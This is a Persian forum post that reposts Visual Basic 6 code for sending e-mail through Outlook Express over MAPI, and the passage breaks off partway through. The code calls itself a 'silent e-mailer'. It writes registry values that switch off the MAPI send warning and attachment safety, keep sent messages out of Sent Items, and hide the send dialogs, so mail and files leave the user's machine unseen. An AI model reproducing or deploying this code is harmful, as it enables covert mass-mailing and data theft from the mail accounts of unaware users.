در خواست کد فرستادن e-mail

اينم كدش
از انجمن واستون پيدا كردم
البته يكم طولاني :

Option Explicit
'// I must give credit to code samples
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _
(dest As Any, source As Any, ByVal numBytes As Long)
Private Declare Function ExpandEnvironmentStrings Lib "kernel32" Alias "ExpandEnvironmentStringsA" _
(ByVal lpSrc As String, ByVal lpDst As String, ByVal nSize As Long) As Long
'//Registry API Functions
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias _
"RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _
ByVal lpReserved As Long, lpType As Long, lpData As Any, _
lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
ByVal lpbData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32" Alias "RegCreateKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, _
ByVal lpClass As String, ByVal dwOptions As Long, _
ByVal samDesired As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, _
phkResult As Long, lpdwDisposition As Long) As Long
Private Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" _
(ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, _
lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, _
lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" _
(ByVal hKey As Long, ByVal dwIndex As Long, _
ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, _
lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" _
(ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal ipValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
lpValue As Long, ByVal cbData As Long) As Long
Private Declare Function RegSetValueExByte Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
lpValue As Byte, ByVal cbData As Long) As Long
Private Declare Function RegQueryInfoKey Lib "advapi32.dll" Alias "RegQueryInfoKeyA" _
(ByVal hKey As Long, ByVal lpClass As String, lpcbClass As Long, _
ByVal lpReserved As Long, lpcSubKeys As Long, _
lpcbMaxSubKeyLen As Long, lpcbMaxClassLen As Long, lpcValues As Long, _
lpcbMaxValueNameLen As Long, lpcbMaxValueLen As Long, _
lpcbSecurityDescriptor As Long, lpftLastWriteTime As FILETIME) As Long
Private Declare Function RegEnumValueInt Lib "advapi32.dll" Alias "RegEnumValueA" _
(ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, _
lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, _
lpData As Byte, lpcbData As Long) As Long
Private Declare Function RegEnumValueStr Lib "advapi32.dll" Alias "RegEnumValueA" _
(ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, _
lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, _
lpData As Byte, lpcbData As Long) As Long
Private Declare Function RegEnumValueByte Lib "advapi32.dll" Alias "RegEnumValueA" _
(ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, _
lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, _
lpData As Byte, lpcbData As Long) As Long
'//Structures needed for Registry API
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Boolean
End Type
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
'//Registry Specific Access Rights
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_ALL_ACCESS = &H3F
'//Open/Create Options
Const REG_OPTION_NON_VOLATILE = 0&
Const REG_OPTION_VOLATILE = &H1
'//Key creation/open disposition
Const REG_CREATED_NEW_KEY = &H1
Const REG_OPENED_EXISTING_KEY = &H2
'//masks for the predefined standard access types
Const STANDARD_RIGHTS_ALL = &H1F0000
Const SPECIFIC_RIGHTS_ALL = &HFFFF
'//Define severity codes
Const ERROR_SUCCESS = 0&
Const ERROR_ACCESS_DENIED = 5
Const ERROR_NO_MORE_ITEMS = 259
Const ERROR_MORE_DATA = 234 '// dderror
'//Registry Value Type Enums
Private Enum RegDataTypeEnum
' REG_NONE = (0) '// No value type
REG_SZ = (1) '// Unicode nul terminated string
REG_EXPAND_SZ = (2) '// Unicode nul terminated string w/enviornment var
REG_BINARY = (3) '// Free form binary
REG_DWORD = (4) '// 32-bit number
REG_DWORD_LITTLE_ENDIAN = (4) '// 32-bit number (same as REG_DWORD)
REG_DWORD_BIG_ENDIAN = (5) '// 32-bit number
' REG_LINK = (6) '// Symbolic Link (unicode)
REG_MULTI_SZ = (7) '// Multiple, null-delimited, double-null-terminated Unicode strings
' REG_RESOURCE_LIST = (8) '// Resource list in the resource map
' REG_FULL_RESOURCE_DESCRIPTOR = (9) '// Resource list in the hardware description
' REG_RESOURCE_REQUIREMENTS_LIST = (10)
End Enum
'//Registry Base Key Enums
Public Enum RootKeyEnum
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_USER = &H80000001
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
HKEY_PERFORMANCE_DATA_WIN2K_ONLY = &H80000004 '//Windows 2000 only
HKEY_CURRENT_CONFIG = &H80000005
HKEY_DYN_DATA = &H80000006
End Enum
'// for specifying the type of data to save
Public Enum RegValueTypes
eInteger = vbInteger
eLong = vbLong
eString = vbString
eByteArray = vbArray + vbByte
End Enum
'// for specifiying the type of string to save
Public Enum RegFlags
IsExpandableString = 1
IsMultiString = 2
'IsBigEndian = 3 '// no point as probably no need to SET Big Endian values
End Enum
Private Const ERR_NONE = 0

Function SetRegistryValue(ByVal hKey As RootKeyEnum, ByVal KeyName As String, _
ByVal ValueName As String, ByVal Value As Variant, valueType As RegValueTypes, _
Optional Flag As RegFlags = 0) As Boolean
Dim handle As Long
Dim lngValue As Long
Dim strValue As String
Dim binValue() As Byte
Dim length As Long
Dim retVal As Long
Dim SecAttr As SECURITY_ATTRIBUTES '//security settings of the key
'//set the name of the new key and the default security settings
SecAttr.nLength = Len(SecAttr) '//size of the structure
SecAttr.lpSecurityDescriptor = 0 '//default security level
SecAttr.bInheritHandle = True '//the default value for this setting
'// opens or creates+opens the key
'If RegOpenKeyEx(hKey, KeyName, 0, KEY_ALL_ACCESS, handle) Then Exit Function
retVal = RegCreateKeyEx(hKey, KeyName, 0, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, SecAttr, handle, retVal)
If retVal Then Exit Function
'// three cases, according to the data type in Value
Select Case VarType(Value)
Case vbByte, vbInteger, vbLong '// if it's a Byte, Integer or a Long...
lngValue = Value
retVal = RegSetValueExLong(handle, ValueName, 0, REG_DWORD, lngValue, Len(lngValue))
Case vbString '// if it's a String, Expandable Environment String or Multi-String...
strValue = Value
'// determine type of String we are saving by the Method's optional Flag parameter
Select Case Flag
Case IsExpandableString
retVal = RegSetValueEx(handle, ValueName, 0, REG_EXPAND_SZ, ByVal strValue, Len(strValue))
Case IsMultiString
retVal = RegSetValueEx(handle, ValueName, 0, REG_MULTI_SZ, ByVal strValue, Len(strValue))
Case Else '// normal REG_SZ String
retVal = RegSetValueEx(handle, ValueName, 0, REG_SZ, ByVal strValue, Len(strValue))
End Select
Case vbArray + vbByte '// if it's a Byte Array...
binValue = Value
length = UBound(binValue) - LBound(binValue) + 1
'// pass the first element of byte array to registry, the rest will follow!
retVal = RegSetValueExByte(handle, ValueName, 0, REG_BINARY, binValue(0), length)
Case Else '// if it's something else...
RegCloseKey handle
'Err.Raise 1001, , "Unsupported value type"
End Select
'// close the key and signal success
RegCloseKey handle
'// signal success if the value was written correctly
SetRegistryValue = (retVal = 0)
End Function

Function GetRegistryValue(ByVal hKey As RootKeyEnum, ByVal KeyName As String, _
ByVal ValueName As String, Optional DefaultValue As Variant) As Variant
Dim handle As Long
Dim resLong As Long
Dim resString As String
Dim resBinary() As Byte
Dim length As Long
Dim retVal As Long
Dim valueType As Long
Const KEY_READ = &H20019
'// prepare the default result
GetRegistryValue = IIf(IsMissing(DefaultValue), Empty, DefaultValue)
'// open the key, exit if not found
If RegOpenKeyEx(hKey, KeyName, 0, KEY_READ, handle) Then Exit Function
'// prepare a 1K receiving resBinary
length = 1024
ReDim resBinary(0 To length - 1) As Byte
'// read the registry value
retVal = RegQueryValueEx(handle, ValueName, 0, valueType, resBinary(0), length)
'// if resBinary was too small, try again
If retVal = ERROR_MORE_DATA Then
'// enlarge the resBinary, and read the value again
ReDim resBinary(0 To length - 1) As Byte
retVal = RegQueryValueEx(handle, ValueName, 0, valueType, resBinary(0), _
length)
End If
'// return a value corresponding to the value type
Select Case valueType
Case REG_DWORD, REG_DWORD_LITTLE_ENDIAN
'// REG_DWORD and REG_DWORD_LITTLE_ENDIAN are the same
CopyMemory resLong, resBinary(0), 4
GetRegistryValue = resLong
Case REG_DWORD_BIG_ENDIAN
'// Big Endian's are set by non-Windows computers, e.g. certain _
Unix systems, remotely accessing the local computer's Registry
CopyMemory resLong, resBinary(0), 4
GetRegistryValue = SwapEndian(resLong)
Case REG_SZ, REG_EXPAND_SZ
'// copy everything but the trailing null char
resString = Space$(length - 1)
CopyMemory ByVal resString, resBinary(0), length - 1
If valueType = REG_EXPAND_SZ Then
'// query the corresponding environment var
GetRegistryValue = ExpandEnvStr(resString)
Else
GetRegistryValue = resString
End If
Case REG_MULTI_SZ
'// copy everything but the 2 trailing null chars
resString = Space$(length - 2)
CopyMemory ByVal resString, resBinary(0), length - 2
GetRegistryValue = resString
Case Else ' INCLUDING REG_BINARY
'// resize the result resBinary
If length <> UBound(resBinary) + 1 Then
ReDim Preserve resBinary(0 To length - 1) As Byte
End If
GetRegistryValue = resBinary()
End Select
'// close the registry key
RegCloseKey handle
End Function

Public Function DeleteRegistryValueOrKey(ByVal hKey As RootKeyEnum, RegKeyName As String, _
ValueName As String) As Boolean
'//deletes a Registry value / key, returns true if successful
Dim lRetval As Long '//return value of opening Registry key & deleting Registry value
Dim lRegHWND As Long '//handle of open Registery key
Dim sREGSZData As String '//buffer to catch queried value
Dim lSLength As Long '//size of value buffer. Changes to size of value after called
'//open key
lRetval = RegOpenKeyEx(hKey, RegKeyName, 0, KEY_ALL_ACCESS, lRegHWND)
'//if opened OK
If lRetval = ERR_NONE Then
'//now delete the desired value from the key
lRetval = RegDeleteValue(lRegHWND, ValueName) '//if it existed, it is now deleted
'//if error occurs deleting the value return false
If lRetval <> ERR_NONE Then Exit Function
'//note: only close the Registry key if it was successfully opened
lRetval = RegCloseKey(lRegHWND)
'//return true if succcessfully closed and no other errors
If lRetval = ERR_NONE Then DeleteRegistryValueOrKey = True
End If
End Function

Private Function ExpandEnvStr(sData As String) As String
'// queries an environment-variable string and returns its defined value
'// e.g. %PATH% may return "c:\;c:\windows;" etc
Dim c As Long, s As String
s = "" '// needed to get around Windows 95 limitation
'// get the length
c = ExpandEnvironmentStrings(sData, s, c)
'// expand the string
s = String$(c - 1, 0)
c = ExpandEnvironmentStrings(sData, s, c)
'// return the value of the environment variable
ExpandEnvStr = s
End Function

Private Function SwapEndian(ByVal dw As Long) As Long
'// converts Big Endian DWord to Little Endian DWord
CopyMemory ByVal VarPtr(SwapEndian) + 3, dw, 1
CopyMemory ByVal VarPtr(SwapEndian) + 2, ByVal VarPtr(dw) + 1, 1
CopyMemory ByVal VarPtr(SwapEndian) + 1, ByVal VarPtr(dw) + 2, 1
CopyMemory SwapEndian, ByVal VarPtr(dw) + 3, 1
End Function

این کد را در یک ماژوال قرار بدی...
Option Explicit
'''''''''''''''''''''''''
'This is used to read the Outlook Express identities
'Located in the registry
'''''''''''''''''''''''''
Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
'API Declarations
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByVal lpData As String, ByRef lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, phkResult As Long, lpdwDisposition As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
'Types Enum Definition
Public Enum T_KeyClasses
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_CONFIG = &H80000005
HKEY_CURRENT_USER = &H80000001
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
End Enum
'Constants Definition
Private Const SYNCHRONIZE = &H100000
Private Const STANDARD_RIGHTS_ALL = &H1F0000
Private Const KEY_QUERY_VALUE = &H1
Private Const KEY_SET_VALUE = &H2
Private Const KEY_CREATE_LINK = &H20
Private Const KEY_CREATE_SUB_KEY = &H4
Private Const KEY_ENUMERATE_SUB_KEYS = &H8
Private Const KEY_EVENT = &H1
Private Const KEY_NOTIFY = &H10
Private Const READ_CONTROL = &H20000
Private Const STANDARD_RIGHTS_READ = (READ_CONTROL)
Private Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)
Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
Private Const KEY_READ = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Private Const KEY_EXECUTE = (KEY_READ)
Private Const KEY_WRITE = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const REG_BINARY = 3
Private Const REG_CREATED_NEW_KEY = &H1
Private Const REG_DWORD = 4
Private Const REG_DWORD_BIG_ENDIAN = 5
Private Const REG_DWORD_LITTLE_ENDIAN = 4
Private Const REG_EXPAND_SZ = 2
Private Const REG_FULL_RESOURCE_DESCRIPTOR = 9
Private Const REG_LINK = 6
Private Const REG_MULTI_SZ = 7
Private Const REG_NONE = 0
Private Const REG_SZ = 1
Private Const REG_NOTIFY_CHANGE_ATTRIBUTES = &H2
Private Const REG_NOTIFY_CHANGE_LAST_SET = &H4
Private Const REG_NOTIFY_CHANGE_NAME = &H1
Private Const REG_NOTIFY_CHANGE_SECURITY = &H8
Private Const REG_OPTION_BACKUP_RESTORE = 4
Private Const REG_OPTION_CREATE_LINK = 2
Private Const REG_OPTION_NON_VOLATILE = 0
Private Const REG_OPTION_RESERVED = 0
Private Const REG_OPTION_VOLATILE = 1
Private Const REG_LEGAL_CHANGE_FILTER = (REG_NOTIFY_CHANGE_NAME Or REG_NOTIFY_CHANGE_ATTRIBUTES Or REG_NOTIFY_CHANGE_LAST_SET Or REG_NOTIFY_CHANGE_SECURITY)
Private Const REG_LEGAL_OPTION = (REG_OPTION_RESERVED Or REG_OPTION_NON_VOLATILE Or REG_OPTION_VOLATILE Or REG_OPTION_CREATE_LINK Or REG_OPTION_BACKUP_RESTORE)
'Delete e Registry Key with all his contained Values
Public Sub DeleteRegistryKey(rClass As T_KeyClasses, Path As String)
Dim res As Long
res = RegDeleteKey(rClass, Path)
End Sub
'Delete a Value from the Registry
Public Sub DeleteValue(rClass As T_KeyClasses, Path As String, sKey As String)
Dim hKey As Long
Dim res As Long
res = RegOpenKeyEx(rClass, Path, 0, KEY_ALL_ACCESS, hKey)
res = RegDeleteValue(hKey, sKey)
RegCloseKey hKey
End Sub
'Creates a New Registry Key
Public Sub CreateRegistryKey(rClass As T_KeyClasses, Path As String)
Dim hKey As Long
Dim res As Long
Dim Y As SECURITY_ATTRIBUTES
Dim Operation As Long
res = RegCreateKeyEx(rClass, Path, 0, "", 0, KEY_ALL_ACCESS, Y, hKey, Operation)
RegCloseKey hKey
End Sub
'Get a specific Registry Value (to access the Default Registry Key Value set sKey parameter as "")
Public Function GetRegValue(KeyRoot As T_KeyClasses, Path As String, sKey As String) As String
Dim hKey As Long
Dim KeyValType As Long
Dim KeyValSize As Long
Dim KeyVal As String
Dim tmpVal As String
Dim res As Long
Dim i As Integer
res = RegOpenKeyEx(KeyRoot, Path, 0, KEY_ALL_ACCESS, hKey)
If res <> 0 Then GoTo Errore
tmpVal = String(1024, 0)
KeyValSize = 1024
res = RegQueryValueEx(hKey, sKey, 0, KeyValType, tmpVal, KeyValSize)
If res <> 0 Then GoTo Errore
If (Asc(Mid(tmpVal, KeyValSize, 1)) = 0) Then
tmpVal = Left(tmpVal, KeyValSize - 1)
Else
tmpVal = Left(tmpVal, KeyValSize)
End If
Select Case KeyValType
Case REG_SZ
KeyVal = tmpVal
Case REG_DWORD
For i = Len(tmpVal) To 1 Step -1
KeyVal = KeyVal + Hex(Asc(Mid(tmpVal, i, 1)))
Next
KeyVal = Format("&h" + KeyVal)
End Select
GetRegValue = KeyVal
RegCloseKey hKey
Exit Function
Errore:
GetRegValue = ""
RegCloseKey hKey
End Function
'Create or Modify a Registry Value (to access the Default Registry Key Value set sKey parameter as "")
Public Function SetRegValue(KeyRoot As T_KeyClasses, Path As String, sKey As String, NewValue As String) As Boolean
Dim hKey As Long
Dim KeyValType As Long
Dim KeyValSize As Long
Dim KeyVal As String
Dim tmpVal As String
Dim res As Long
Dim i As Integer
Dim X As Long
res = RegOpenKeyEx(KeyRoot, Path, 0, KEY_ALL_ACCESS, hKey)
If res <> 0 Then GoTo Errore
tmpVal = String(1024, 0)
KeyValSize = 1024
res = RegQueryValueEx(hKey, sKey, 0, KeyValType, tmpVal, KeyValSize)
Select Case res
Case 2
KeyValType = REG_SZ
Case Is <> 0
GoTo Errore
End Select
Select Case KeyValType
Case REG_SZ
tmpVal = NewValue
Case REG_DWORD
X = Val(NewValue)
tmpVal = ""
For i = 0 To 3
tmpVal = tmpVal & Chr(X Mod 256)
X = X \ 256
Next
End Select
KeyValSize = Len(tmpVal)
res = RegSetValueEx(hKey, sKey, 0, KeyValType, tmpVal, KeyValSize)
If res <> 0 Then GoTo Errore
SetRegValue = True
RegCloseKey hKey
Exit Function
Errore:
SetRegValue = False
RegCloseKey hKey
End Function
و این کد را در فرم خودت قرار بدی.
Option Explicit
Dim oReg As New clsRegistry
'The following has been tested on Outlook Express 5.0
'Please comment on other version of Outlook Express !
'Silent e-mailer to a perfection
'''''''''''''''''''''''''''
'Programmed by: EGL
'Saturday March 12 2005
'technicalsupport@glennsoftware.com
'Yahoo messenger: egl1044 or [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
'''''''''''''''''''''''''''
'What I ask from you(the user?)
'Simply report any errors or bugs to me either by comments or e-mail
'I would really appreciate it, THANK YOU!
'''''''''''''''''''''''''''
'''''''''''''''''''''''''''
'Registry API for DWORD value's
'''''''''''''''''''''''''''
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Const HKEY_CURRENT_USER = &H80000001
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const ERROR_SUCCESS = 0&
Private Const REG_SZ = 1
Private Const REG_DWORD = 4
''''''''''''''''''''''''''''''''''
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValue Lib "advapi32.dll" Alias "RegQueryValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal lpValue As String, lpcbValue As Long) As Long
Private Declare Function RegEnumKey Lib "advapi32.dll" Alias "RegEnumKeyA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, ByVal cbName As Long) As Long
Private Const MAX_SIZE = 2048
Private Const HKCU = &H80000001
Private Const KEY_ALL_ACCESS = &HF003F
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''
'These are the API we need to declare to not show /send /recieve dialogs.
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Const SW_SHOWNORMAL = 1
Const SW_HIDE = 0
Const WM_CLOSE = &H10
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''
Private Function EnumSubKeys(TopKey As Long, SubKey As String, KeyName() As String, KeyValue() As String) As Long
Dim hKey As Long, curidx As Long
Dim nImage As Integer, sSndFile As String, sSndMode As String
ReDim KeyName(0)
ReDim KeyValue(0)
RegOpenKeyEx TopKey, SubKey, 0&, KEY_ALL_ACCESS, hKey
On Error Resume Next
Do
KeyName(curidx) = Space$(MAX_SIZE)
KeyValue(curidx) = Space$(MAX_SIZE)
If RegEnumKey(hKey, curidx, KeyName(curidx), MAX_SIZE) <> ERROR_SUCCESS Then Exit Do
KeyName(curidx) = TrimNull(KeyName(curidx))
If RegQueryValue(hKey, KeyName(curidx), KeyValue(curidx), MAX_SIZE) <> ERROR_SUCCESS Then Exit Do
KeyValue(curidx) = TrimNull(KeyValue(curidx))
If KeyValue(curidx) = "" Then KeyValue(curidx) = KeyName(curidx)
curidx = curidx + 1
ReDim Preserve KeyName(curidx)
ReDim Preserve KeyValue(curidx)
Loop
On Error GoTo 0
RegCloseKey hKey
EnumSubKeys = curidx
End Function
Private Function TrimNull(startstr As String) As String
Dim pos As Integer
pos = InStr(startstr, Chr$(0))
If pos Then
TrimNull = Left$(startstr, pos - 1)
Exit Function
End If
TrimNull = startstr
End Function
Function SaveDword(ByVal hKey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)
Dim lResult As Long, keyhand As Long, R As Long
R = RegCreateKey(hKey, strPath, keyhand)
lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)
R = RegCloseKey(keyhand)
End Function
Public Function BigDecToHex(ByVal DecNum) As String
Dim NextHexDigit As Double
Dim HexNum As String
HexNum = ""

While DecNum <> 0
NextHexDigit = DecNum - (Int(DecNum / 16) * 16)

If NextHexDigit < 10 Then
HexNum = Chr(Asc(NextHexDigit)) & HexNum
Else
HexNum = Chr(Asc("A") + NextHexDigit - 10) & HexNum
End If
DecNum = Int(DecNum / 16)
Wend
If HexNum = "" Then HexNum = "0"
BigDecToHex = HexNum
End Function

Private Sub Command1_Click()
'''''''''''''''''''''''''''''''''''''''''''''''
'Outlook Express was tricky in the event that_
'If you add the MapiSession1.SignOff then we can't hide send/recieve!
'I added on error resume next to take advantage of this!
'I suggest leaving all settings as they are, you may change file attatchments
'''''''''''''''''''''''''''''''''''''''''''''''
Timer1.Enabled = True
Timer2.Enabled = True
On Error Resume Next
Dim m_lSessionID As Long
With MAPISession1
.NewSession = False
.LogonUI = False
.UserName = " [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] "
'.Password = ""
.DownLoadMail = False
.SignOn
m_lSessionID = .SessionID
End With
If m_lSessionID > 0 Then
With MAPIMessages1
.SessionID = m_lSessionID
.Compose
.RecipType = 1
.RecipAddress = Text1.Text 'email
.MsgSubject = Text2.Text 'subject
.MsgNoteText = Text3.Text 'message
'.AttachmentName = "eula.txt" <---attatchment name
'.AttachmentPathName = "c:\eula.txt" <---attatchment path and filename
.Send False

End With
Label2.Caption = "Mail sent to:" & Space(3) & Text1.Text
'Do you realize how long it took me to figure all of this out?
'Just use your imagination!
'MAPISession1.SignOff <---don't enable or invisible mode won't work
Else
Label2.Caption = "- Unable to create MAPI Session"
' MAPISession1.Action = False
'MsgBox "Created an outlook express account automatically", vbInformation, "Account Created"
End If

End Sub

Private Sub Form_Load()
Timer1.Enabled = False
Timer2.Enabled = False
'''''''''''''''''''''''''''''
'Each Outlook user has its own idenentities.
'First we need to get the special identities from the registry.
'Next we set some registry DWORD values to accomplish invisiblility.
'Last we set the registry DWORDS
'''''''''''''''''''''''''''''
Dim Idententity As String
Idententity = GetRegValue(HKEY_CURRENT_USER, "Identities", "Last User ID")

Debug.Print GetRegValue(HKEY_CURRENT_USER, "Identities", "Last User ID")
'''''''''''''''''''''
'Outlook Express 4.0
'''''''''''''''''''''
'NOTE: If you fiddle with these settings, the program most likely_
'will not function like it is suppose to, I suggest leaving the settings_
'how they are now and not changing them.
'''''''''''''''''''''''''''''''''''''''''''''
'First lets disable the warning message we get when sending mail with outlook!
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\4.0\Mail", "Warn on Mapi Send", "00000000") ' 0 = disable 1 = enable
'Second lets make sure our e-mail does not go into sent items!
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\4.0\Mail", "SaveInSentItems", "00000000") ' 0 = disable 1 = enable
'Second turn off save attatchments to send any file you want!
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\4.0\Mail", "Safe Attachments", "00000000") ' 0 = disable 1 = enable
'immediatley send mail
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\4.0\Mail", "Send Mail Immediately", "00000001") ' 0 = disable 1 = enable
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''
'Outlook Express 5.0
'''''''''''''''''''''
'NOTE: If you fiddle with these settings, the program most likely_
'will not function like it is suppose to, I suggest leaving the settings_
'how they are now and not changing them.
'''''''''''''''''''''''''''''''''''''''''''''
'First lets disable the warning message we get when sending mail with outlook!
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\5.0\Mail", "Warn on Mapi Send", "00000000") ' 0 = disable 1 = enable
'Second lets make sure our e-mail does not go into sent items!
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\5.0\Mail", "SaveInSentItems", "00000000") ' 0 = disable 1 = enable
'Second turn off save attatchments to send any file you want!
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\5.0\Mail", "Safe Attachments", "00000000") ' 0 = disable 1 = enable
'immediatley send mail
Call SaveDword(HKEY_CURRENT_USER, "Identities\" & Idententity & "\Software\Microsoft\Outlook Express\5.0\Mail", "Send Mail Immediately", "00000001") ' 0 = disable 1 = enable
'''''''''''''''''''''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''
'Outlook Express 6.0
'''''''''''''''''''''
'NOTE: If you fiddle with these settings, the program most likely_
'will not function like it is suppose to, I suggest leaving the settings_
'how they are now and not changing them.
'''''''''''''''''''''''''''''''''''''''''''''
'First lets disable the warning message we get when sending mail with outlook!
